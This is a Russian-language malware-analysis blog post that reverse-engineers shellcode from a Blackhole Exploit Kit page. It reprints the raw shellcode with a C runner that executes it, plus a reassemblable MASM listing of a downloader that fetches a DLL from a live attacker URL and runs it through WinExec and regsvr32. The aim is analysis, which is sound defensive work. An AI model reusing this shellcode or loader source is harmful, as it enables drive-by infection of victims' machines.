четверг, 19 апреля 2012 г.

Анализ шеллкода из Blackhole Exploit Kit

Допустим у нас есть задача быстро просмотреть что и откуда будет грузиться из Blackhole exploit kit. Можно конечно воспользоваться одной из виртуальных машин + wireshark (влепите сюда ваш любимый снифер), но это не интересно =) Вот такой я извращенец. =) Проведем эдакий ручной анализ, или х. его знает как хотите так и называйте.

Нам нужен свеженький семпл, идем на http://www.malwaredomainlist.com/mdl.php , выбираем, благо есть из чего, BEK оченна популярен сейчас у бед гайс и криминал кидс =)
Наш выбор пал на rf3c73.ru/indexi.php?pagexxi=677684c604189845

Ну и ладушки, отключаем в браузере javascript (кто в танке , может не делать этого), заходим по линку, дожидаемся пока страничка загрузиться и сохраняем исходный код страницы.




не обращаем внимания на этот ужасный мусор, то что нам нужно находиться в самом конце кода, заменям строчку w(b) на document.write(b) и сохраняем файл. На картинке спецально выделил , мало ли чо =)



еперь , включаем javascript (кто был в танке пропускает этот шаг =) ), открываем этот файл и вуаля, видим уже более менее нормальный код. Для удобочитаемости можно воспользоваться прекрасным сервисом http://jsbeautifier.org/, который форматирует код, что приятно радует глаз.

Все это лирика, нам нужен и интересен сейчас только кусок кода который неприлично вопит о своем предназначении - getShellCode


Вот он , наш шеллкодик, его и будем дальше анализировать. Кто владеет perl'ом (например тут http://pmelson.blogspot.com/2009/11/reversing-javascript-shellcode-step-by.html) или python'ом , могут быстро накидать себе скриптик - аналог javascript unescape. Мне как то ближе С (жду вот вот снизойдет озарение и я доучу питон , тогда буду клепать скрипты на нем =) )

а пока набросал такой код, пригодиться для подобных задачек

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


#define PAD 16

void shell2str(unsigned char *code, unsigned long len) {
        unsigned long i;

    printf("\n\t\"");
        for(i=0; i<len; i++){
                printf("\\x%02x", (unsigned char *)code[i]);
                if((i%16)==15) printf("\"\n\t\"");
        }
        printf("\";\n");
}


unsigned char str2hex (unsigned char * s) {
    unsigned char x = 0;
    unsigned char c;

    c = *s;
    if (c >= '0' && c <= '9')
        c = c - '0';
    else {
        if (c >= 'a' && c <= 'f')
            c = c - 'a' + 0x0a;
        else if (c >= 'A' && c <= 'F')
                c = c - 'A' + 0x0a;
            else
                c = 0;                    // wrong char
    }

    x = c << 4;

    s++;
    c = *s;
    if (c >= '0' && c <= '9')
        c = c - '0';
    else {
        if (c >= 'a' && c <= 'f')
            c = c - 'a' + 0x0a;
        else if (c >= 'A' && c <= 'F')
                c = c - 'A' + 0x0a;
            else
                c = 0;                    // wrong char
    }

    x |= c;

    return x;
}

int main (int argc, char * argv[]) {
    FILE * fd;
        FILE * fd2;
    unsigned long sclen;
    unsigned char *memsc;
    unsigned char *membinsc;
    char * fname;
        char * bname = "sc.bin";
        unsigned long scbinlen = 0 ;
    unsigned char *ptr;
    unsigned long c1, c2;



    if (argc<2) {
                printf("Usage: %s <unescape_file> [bin_file (default sc.bin)\n", argv[0]);
                return -1;
        }

    fname = argv[1];
    //printf("unicode shellcode file: %s\n", fname);


    fd = fopen(fname, "r");
    if (fd==NULL) {
        printf("Error to open file: %s\n", fname);
        return -1;
    }

    fseek(fd, 0, SEEK_END);
    sclen = ftell(fd);
    rewind(fd);

    memsc = (char *)malloc(PAD + sclen*sizeof(char));
    memset(memsc, 0, sclen+ PAD);
    fread(memsc, sizeof(char), sclen, fd);

    membinsc = (char *)malloc(sclen*sizeof(char));
    memset(membinsc, 0, sclen);

    if (argc > 2) {
        bname = argv[2];
    }

    fd2 = fopen(bname, "wb");
    if (fd2==NULL) {
    printf("Error to open file: %s\n", bname);
        return -1;
    }

    ptr = memsc;
    ptr +=2; //skip first %u

    while (*ptr != 0) {
        c2 = str2hex(ptr);
        //printf("c = %02x\n", c1);
        ptr +=2;
        c1 = str2hex(ptr);
        //printf("c = %02x\n", c1);
        membinsc[scbinlen+1] = c2;
        membinsc[scbinlen] = c1;
        ptr +=4;
        scbinlen +=2;
    }


    printf("#include <stdio.h>\n\n");
    printf("static char shellcode[] =");

    shell2str(membinsc, scbinlen);

    printf("\n\nint main(int argc, char *argv[])\n");
    printf("{\n");
    printf("  void (*code)() = (void *)shellcode;\n");
    printf("  code();\n");
    printf("  exit(0);\n");
    printf("}\n\n");

    fwrite(membinsc, sizeof(char), scbinlen, fd2);


    fclose(fd);
    fclose(fd2);
    free(memsc);
    free(membinsc);

    return 0;

}


На выходе имеем: бинарные файл шеллкода (который и будем анализровать в IdaPro) и Си'шный для копиляции и дебага, мало ли чо =)


#include <stdio.h>

static char shellcode[] =
        "\x41\x41\x41\x41\x66\x83\xe4\xfc\xfc\xeb\x10\x58\x31\xc9\x66\x81"
        "\xe9\x5b\xfe\x80\x30\x28\x40\xe2\xfa\xeb\x05\xe8\xeb\xff\xff\xff"
        "\xad\xcc\x5d\x1c\xc1\x77\x1b\xe8\x4c\xa3\x68\x18\xa3\x68\x24\xa3"
        "\x58\x34\x7e\xa3\x5e\x20\x1b\xf3\x4e\xa3\x76\x14\x2b\x5c\x1b\x04"
        "\xa9\xc6\x3d\x38\xd7\xd7\x90\xa3\x68\x18\xeb\x6e\x11\x2e\x5d\xd3"
        "\xaf\x1c\x0c\xad\xcc\x5d\x79\xc1\xc3\x64\x79\x7e\xa3\x5d\x14\xa3"
        "\x5c\x1d\x50\x2b\xdd\x7e\xa3\x5e\x08\x2b\xdd\x1b\xe1\x61\x69\xd4"
        "\x85\x2b\xed\x1b\xf3\x27\x96\x38\x10\xda\x5c\x20\xe9\xe3\x25\x2b"
        "\xf2\x68\xc3\xd9\x13\x37\x5d\xce\x76\xa3\x76\x0c\x2b\xf5\x4e\xa3"
        "\x24\x63\xa5\x6e\xc4\xd7\x7c\x0c\x24\xa3\xf0\x2b\xf5\xa3\x2c\xa3"
        "\x2b\xed\x83\x76\x71\xeb\xc3\x7b\x85\xa3\x40\x08\xa8\x55\x24\x1b"
        "\x5c\x2b\xbe\xc3\xdb\xa3\x40\x20\xa3\xdf\x42\x2d\x71\xc0\xb0\xd7"
        "\xd7\xd7\xca\xd1\xc0\x28\x28\x28\x28\x70\x78\x42\x68\x40\xd7\x28"
        "\x28\x28\x78\xab\xe8\x31\x78\x7d\xa3\xc4\xa3\x76\x38\xab\xeb\x2d"
        "\xd7\xcb\x40\x47\x46\x28\x28\x40\x5d\x5a\x44\x45\x7c\xd7\x3e\xab"
        "\xec\x20\xa3\xc0\xc0\x49\xd7\xd7\xd7\xc3\x2a\xc3\x5a\xa9\xc4\x2c"
        "\x29\x28\x28\xa5\x74\x0c\x24\xef\x2c\x0c\x5a\x4d\x4f\x5b\xef\x6c"
        "\x0c\x2c\x5e\x5a\x1b\x1a\xef\x6c\x0c\x20\x08\x05\x5b\x08\x7b\x40"
        "\xd0\x28\x28\x28\xd7\x7e\x24\xa3\xc0\x1b\xe1\x79\xef\x6c\x35\x28"
        "\x5f\x58\x4a\x5c\xef\x6c\x35\x2d\x06\x4c\x44\x44\xee\x6c\x35\x21"
        "\x28\x71\xa2\xe9\x2c\x18\xa0\x6c\x35\x2c\x69\x79\x42\x28\x42\x28"
        "\x7b\x7f\x42\x28\xd7\x7e\x3c\xad\xe8\x5d\x3e\x42\x28\x7b\xd7\x7e"
        "\x2c\x42\x28\xab\xc3\x24\x7b\xd7\x7e\x2c\xab\xeb\x24\xc3\x2a\xc3"
        "\x3b\x6f\xa8\x17\x28\x5d\xd2\x6f\xa8\x17\x28\x5d\xec\x42\x28\x42"
        "\xd6\xd7\x7e\x20\xc0\xb4\xd6\xd7\xd7\xa6\x66\x26\xc4\xb0\xd6\xa2"
        "\x26\xa1\x47\x29\x95\x1b\xe2\xa2\x73\x33\xee\x6e\x51\x1e\x32\x07"
        "\x58\x40\x5c\x5c\x58\x12\x07\x07\x5a\x4e\x1b\x4b\x1f\x1b\x06\x5a"
        "\x5d\x07\x4b\x06\x58\x40\x58\x17\x4e\x15\x4d\x1d\x1b\x1b\x1c\x0e"
        "\x4d\x15\x19\x28\x28\x00";


int main(int argc, char *argv[])
{
  void (*code)() = (void *)shellcode;
  code();
  exit(0);
}


Натравливаем IdaPro на бинарник

Как положено хорошему шеллкоду, он состоит из небольшого декриптора и зашифрованой (в данном случае поxor'еной) основной части



Для расксоривания, можно воспользоваться hiew , но мне нравиться это делать непосредствено в IdaPro (Ильфак, ты гений и Ида бесподобна), поэтому накидаем небольшой idc скриптик (мало ли чо, еще может часто пригодиться):


#include <idc.idc>

static main() {

auto start, end, len, ptr, XorKey, CryData;
auto eax, ecx, edx;


    XorKey = 0x28;

    Message("Begin decrypt... \n");

    start = LocByName("rstart");

    len = 0x1a5;

    end = start + len;

    Message("Start 0x%x - End: 0x%x\n",start, end);

    for (ptr = start; ptr < end; ptr++) {
    CryData = Byte(ptr) ^ XorKey;
    PatchByte(ptr, CryData);
    }
}


Жмем в IdaPro Alt+F7 , выбираем наш скрипт  - имеем уже более приятную картинку




ну и собственно, после "ковыряний" в IdaPro наша цель достигнута, имеем код, который имеет кого то =)


;@echo off
;goto make
; █████████████████████████████████████████████████████
; █
; █               Reverse engineering shellcode from BlackHole
; █                by MalwRecon http://malwrecon.blogspot.com
; █
; █████████████████████████████████████████████████████

.486
.model flat, stdcall
option casemap:none
option prologue:none

.code

shellcode:


        inc    ecx
        inc    ecx
        inc    ecx
        inc    ecx
        and    sp, 0FFFCh
        cld
        jmp    short go

go_decr:
        pop    eax
        xor    ecx, ecx
        sub    cx, -1A5h    ; ecx =    1a5 - размер криптованого блока

decr:           
        xor    byte ptr [eax],    28h
        inc    eax
        loop    decr
        jmp    short rstart

go:               
        call    go_decr

rstart:               
        test    esp, esp
        jnz    short bjmp1
; ---------------------------------------------------------------------------
        db 0E9h    ; щ        ; little anti disasm feature
; ---------------------------------------------------------------------------

begwork:       
        assume    fs:nothing       
        pop    edi        ; ptr hashtable
        xor    eax, eax
        mov    eax, fs:[eax+30h] ; PEB_LDR_DATA
        mov    eax, [eax+0Ch]    ; InLoadOrderModuleList
        mov    esi, [eax+1Ch]    ; InInitializationOrderModuleList
        push    esi        ; save ptl LDR_MODULE
        mov    esi, [esi+8]    ; InMemoryOrderModuleList подгрузили base address ntdll
                    ; он находится первым в    этом списке
        xor    ebx, ebx
        mov    bx, [esi+3Ch]    ; PE header
        add    esi, [ebx+esi+2Ch] ; BaseOfCode
        sub    esi, 0FFFF1015h
        mov    eax, 0C330408Bh    ; ищем инструкции
                    ; mov eax, [eax+30h]
                    ; retn

find_sig:               
        inc    esi
        cmp    [esi], eax    ; found    in ntdll at 0x7c954f52
        jnz    short find_sig
        xchg    esi, [esp]    ; засовываем на    вершину    стека указатель    на инструкции
                    ; mov eax, [eax+30h]
                    ; ret
                    ; а извлекаем указатель    на LDR_MODULE
        test    esp, esp    ; not zero?
        jnz    short search_kernel32_lib
; ---------------------------------------------------------------------------
        db 0E9h    ; щ        ; anti anti trick =)
; ---------------------------------------------------------------------------

bjmp1:                   
        jmp    short bjmp2

; in    ebp - base address;    edi - ptr to hashfunction
; out   edi - ptr next dd

GetAddrByHash    proc near       
                   
        push    ecx
        push    esi
        mov    esi, [ebp+3Ch]
        mov    esi, [ebp+esi+78h]
        add    esi, ebp
        push    esi
        mov    esi, [esi+20h]
        add    esi, ebp
        xor    ecx, ecx
        dec    ecx

loc_6E:           
        inc    ecx
        cld
        lodsd
        add    eax, ebp
        xor    ebx, ebx

loc_75:           
        movsx    edx, byte ptr [eax]
        cmp    dl, dh
        jz    short loc_84
        ror    ebx, 0Dh
        add    ebx, edx
        inc    eax
        jmp    short loc_75

loc_84:               
        cmp    ebx, [edi]
        jnz    short loc_6E
        pop    esi
        mov    ebx, [esi+24h]
        add    ebx, ebp
        mov    cx, [ebx+ecx*2]
        lea    eax, [esi-14h]
        call    dword ptr [esp+8]
        mov    ebx, eax
        add    ebx, ebp
        mov    eax, [ebx+ecx*4]
        add    eax, ebp
        stosd
        pop    esi
        pop    ecx
        retn
GetAddrByHash    endp


bjmp2:                   
        jmp    short bjmp3

search_kernel32_lib:

        lodsd            ; InLoadOrderModuleList.Flink ищем Kernel32
        mov    ebp, [eax+20h]    ; Проходим по списку и анализируем поле    FullDllName,
                    ; ищем - kernel32.dll
        cmp    byte ptr [ebp+0Ch], '3' ; Проверяем Kernel32 ?
        jz    short found_kernel32
        xchg    eax, esi    ; Двигаемся по списку далее
        jmp    short search_kernel32_lib

found_kernel32:           
        mov    ebp, [eax+8]    ; base address kernel32
        mov    esi, edi    ; esi -    ptr hashtable
        push    5        ; count    functions/hashs
        pop    ecx

next_hash:           
        call    GetAddrByHash
        loop    next_hash
        call    $+5        ; call selfc

selfc:                    ; lpflOldProtect
        pop    eax
        push    eax
        push    40h ; '@'       ; flNewProtect = PAGE_EXECUTE_READWRITE
        push    0FFh        ; dwSize = 255 bytes (весь регион шелкода)
        push    eax        ; lpAddress
        add    eax, 19h
        push    eax        ; адрес    возврата из VirtualProtect retVP
        push    ebp        ; таким    хитрым образом сохраняем ebp в стеке
                    ; в конеце virtualprotect будет    инструкция pop ebp
                    ; и мы вытащим наше значение из    стека (красавцы)
        mov    ebp, esp    ; ebp -    указатель на стек для передачи параметров
        mov    ebx, [esi+10h]    ; BOOL WINAPI VirtualProtect(
                    ;   __in   LPVOID lpAddress,
                    ;   __in   SIZE_T dwSize,
                    ;   __in   DWORD flNewProtect,
                    ;   __out  PDWORD lpflOldProtect
                    ; );
        add    ebx, 5        ; skip first 5 bytes in    VirtualProtect
                    ; mov edi, edi
                    ; push ebp
                    ; mov ebp, ssp
        jmp    ebx        ; переходим на VirtualProtect делаем область памяти
                    ; нашего шелкода RWX

retVP:
        push    'no'
        push    'mlru'
        push    esp        ; push ptr "urlmon" in stack
        call    dword ptr [esi]
        add    esp, 8        ; освобождаем стек от "urlmon"
        mov    ebp, eax    ; ebp -    base address urlmon.dll
        call    GetAddrByHash    ; edi current ptr to hashtable
        jmp    short makepath

bjmp3:               
        jmp    short bjmp4

makepath:           
        sub    esp, 260    ; reserved MAX_PATH bytes in stack
        lea    ebx, [esp+0Ch]    ; указатель , будет указывать за строку    "regsvr32 -s " в стеке
                    ; сюда будет сгенерирован TmpPath
        mov    dword ptr [esp], 'sger'
        mov    dword ptr [esp+4], '23rv'
        mov    dword ptr [esp+8], ' s- '
        push    ebx        ; lpBuffer
        push    248        ; nBufferLength
        call    dword ptr [esi+0Ch] ; GetTempPathA
        mov    ebp, eax    ; eax -    длинна сгенерированного    TmpPath
        xor    ecx, ecx
        push    ecx        ; начальный индекс = 0
        mov    dword ptr [ebp+ebx+0], 'tbpw'
        mov    dword ptr [ebp+ebx+5], 'lld.'
        mov    byte ptr [ebp+ebx+9], 0

NextURL:           
        pop    ecx        ; извлекаем текущий индек для генерации    имени файла
        mov    al, cl        ; index    служит для генерации имени файла
                    ; запускаемого шелкодом
                    ; тоесть последовательно генеряца имена
                    ; wpbt[0-n].dll    n- количество линков для загрузки
        add    al, 30h    ; '0'   ; теперь имеем "wpbt[index].dll"
        mov    [ebp+ebx+4], al
        inc    ecx        ; подготавливаем и сохраняем индекс
        push    ecx
        push    0        ; lpcbFn
        push    0        ; dwReserved
        push    ebx        ; szFileName
        push    edi        ; szURL
        push    0        ; pCaller
        call    dword ptr [esi+14h] ; URLDownloadToFileA
        test    eax, eax
        jnz    short skipCurrentURL
        push    0
        push    ebx
        call    dword ptr [esi+4] ; Winexec
        push    0
        sub    ebx, 0Ch    ; указатель на всю строчку regsvr32 -s ...
        push    ebx
        call    dword ptr [esi+4] ; Winexec
        add    ebx, 0Ch    ; снова    указатель на полный путь файла wpbt0.dll
        jmp    short skipCurrentURL
; ---------------------------------------------------------------------------

bjmp4:               
        jmp    short bjmp5
; ---------------------------------------------------------------------------

skipCurrentURL:           
               
        inc    edi
        cmp    byte ptr [edi],    0 ; Сканируем URL на конец строячки
        jnz    short skipCurrentURL
        inc    edi        ; Дошли    до конца строки    URL
        cmp    byte ptr [edi],    0 ; Есть еще линк для загрузки ?
        jnz    short NextURL
        push    0
        push    0FFFFFFFEh
        call    dword ptr [esi+8] ; TerminateThread

bjmp5:               
        call    begwork
; ---------------------------------------------------------------------------
; ████████████████████████████████████████████████████
; █                              H A S H S                                    █           
; ████████████████████████████████████████████████████
hashtable    dd 0EC0E4E8Eh        ; LoadLibraryA
        dd 0E8AFE98h        ; WinExec
        dd 0BD016F89h        ; TerminateThread
        dd 5B8ACA33h        ; GetTempPathA
        dd 7946C61Bh        ; VirtualProtect
        dd 702F1A36h        ; URLDownloadToFileA
url        db 'http://rf3c73.ru/c.php?f=e5334&e=1',0
        db    0
        db    0



codee:
end shellcode


:make

set sc=sc

d:\masm32\bin\ml /nologo /c /coff %sc%.bat
d:\masm32\bin\link /align:16 /nologo /entry:shellcode /out:%sc%.exe /section:.text,RWE /subsystem:console %sc%.obj

del %sc%.obj

echo.
pause


Довольно интересный код, лишний раз доказывает, что кодинг на asm'е вообще и кодинг шелкодов в частности , это высший пилотаж. Данный же шелкод пожалуй интересен еще тем, что несет в себе функционал загрузчика, т.е может загрузить и запустить несколько других малвар, эдакий ShellcodeTrojanDownloader.





2 комментария: